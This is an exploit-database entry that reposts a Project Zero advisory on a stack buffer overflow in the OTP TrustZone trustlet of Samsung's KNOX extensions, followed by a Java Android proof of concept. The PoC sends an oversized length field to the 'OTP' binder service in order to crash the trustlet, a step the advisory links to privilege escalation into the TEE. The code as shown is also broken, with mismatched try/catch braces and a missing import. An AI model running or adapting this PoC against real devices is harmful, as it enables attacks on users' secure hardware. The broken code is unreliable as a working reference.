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# Samsung Devices KNOX Extensions Stack Buffer Overflow Vulnerability

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/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=938
 
As a part of the KNOX extensions available on Samsung devices, Samsung provides a TrustZone trustlet which allows the generation of OTP tokens.
 
The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e), which can be communicated with using the "OTP" service, published by "otp_server".
 
Many of the internal commands supported by the trustlet must either unwrap or wrap a token. They do so by calling the functions "otp_unwrap" and "otp_wrap", correspondingly.
 
Both functions copy the internal token data to a local stack based buffer before attempting to wrap or unwrap it. However, this copy operation is performed using a length field supplied in the user's buffer (the length field's offset changes according to the calling code-path), which is not validated at all.
 
This means an attacker can supply a length field larger than the stack based buffer, causing the user-controlled token data to overflow the stack buffer. There is no stack cookie mitigation in MobiCore trustlets.
 
On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, including from the SELinux context "untrusted_app". Successfully exploiting this vulnerability should allow a user to elevate privileges to the TrustZone TEE.
 
I've attached a small PoC which can be used to trigger the overflow. It calls the OTP_GENERATE_OTP command with a large length field which overflows the trustlet's stack. Running it should crash OTP trustlet.
*/
 
package com.example.laginimaineb.otp;
 
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
 
public class OneWhoKNOX extends AppCompatActivity {
 
    /**
     * The logtag used.
     */
    private static final String LOGTAG = "OTP_TEST";
 
    /**
     * The name of the OTP binder service.
     */
    private static final String INTERFACE_DESCRIPTOR = "OTP";
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
 
        try {
            //Getting the binder
            Class smClass = Class.forName("android.os.ServiceManager");
            IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);
             
            //Writing a command with a large length field
            Parcel parcel = Parcel.obtain();
            Parcel reply = Parcel.obtain();
            parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
            byte[] command = new byte[0xDA7];
 
            //Setting the command to OTP_GENERATE_OTP
            command[0] = 0x02;
            command[1] = 0x00;
            command[2] = 0x00;
            command[3] = 0x00;
 
            //Setting the length field to something insane
            command[0x41C]     = (byte)0xFF;
            command[0x41C + 1] = (byte)0xFF;
            command[0x41C + 2] = (byte)0x00;
            command[0x41C + 3] = (byte)0x00;
 
            //Sending the command (should crash the trustlet)
            parcel.writeByteArray(command);
            binder.transact(2, parcel, reply, 0);
            Log.e(LOGTAG, "res=" + reply.readInt());
            reply.recycle();
            parcel.recycle();
 
        } catch (ClassNotFoundException |
             NoSuchMethodException  |
             IllegalAccessException |
             InvocationTargetException ex) {
            Log.e(LOGTAG, "Failed to dynamically load ServiceManager methods", ex);
        }
 
        } catch (RemoteException ex) {
            Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
        }
    }
}

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# Iranian Exploit DataBase = http://IeDb.Ir [2016-12-14]

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